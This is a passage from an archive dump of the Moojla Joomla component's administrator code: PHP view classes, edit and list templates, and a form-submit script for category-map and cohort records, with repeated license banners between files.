/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Category_map View class
 */
class MoojlaViewCategory_map extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('category_map',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_CATEGORY_MAP_NEW' :
'COM_MOOJLA_CATEGORY_MAP_EDIT'), 'pencil-2
article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('category_map.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('category_map.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('category_map.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('category_map.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('category_map.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('category_map.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('category_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('category_map.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('category_map.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('category_map.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('category_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('category_map.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.category_map',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('category_map.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('category_map.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('category_map');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_CATEGORY_MAP_NEW' :
'COM_MOOJLA_CATEGORY_MAP_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/category_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/category_map/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/cohort/submitbutton.js000064400000002743151165724410012310
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('cohort, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/cohort/tmpl/edit.php000064400000011266151165724410011625
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'cohortTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'cohortTab', 'details',
JText::_('COM_MOOJLA_COHORT_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('cohort.details_left',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('cohort.details_right',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'cohortTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'cohortTab', 'publishing',
JText::_('COM_MOOJLA_COHORT_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('cohort.publishing',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('cohort.publlshing',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'cohortTab', 'permissions',
JText::_('COM_MOOJLA_COHORT_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="cohort.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/cohort/tmpl/index.html000064400000000054151165724410012155
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/cohort/view.html.php000064400000015162151165724410011640
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Cohort View class
 */
class MoojlaViewCohort extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('cohort',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_COHORT_NEW' : 'COM_MOOJLA_COHORT_EDIT'),
'pencil-2 article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('cohort.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('cohort.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('cohort.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('cohort.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('cohort.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('cohort.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('cohort.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('cohort.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('cohort.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('cohort.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('cohort.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('cohort.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.cohort',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('cohort.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('cohort.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('cohort');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_COHORT_NEW' : 'COM_MOOJLA_COHORT_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/cohort.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/cohort/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/cohorts/index.html000064400000000054151165724410011364
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/cohorts/tmpl/default.php000064400000005515151165724410012507
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=cohorts.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'cohortList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=cohorts');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="cohortList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_COHORTS_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/cohorts/tmpl/default_batch_body.php000064400000002332151165724410014657
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo JText::_('COM_MOOJLA_COHORTS_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/cohorts/tmpl/default_batch_footer.php000064400000002730151165724410015222
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('cohort.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/cohorts/tmpl/default_body.php000064400000007532151165724410013525
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=cohorts&task=cohort.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('cohort',$item,'cohorts');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->mcohort); ?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'cohorts.',
$canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo $this->escape($item->mcohort); ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->course_group_title); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'cohorts.', true, 'cb'); ?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'cohorts.', false, 'cb');
?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'cohorts.', true, 'cb'); ?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'cohorts.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/cohorts/tmpl/default_foot.php000064400000002304151165724410013527
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="6"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/cohorts/tmpl/default_head.php000064400000004621151165724410013465
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
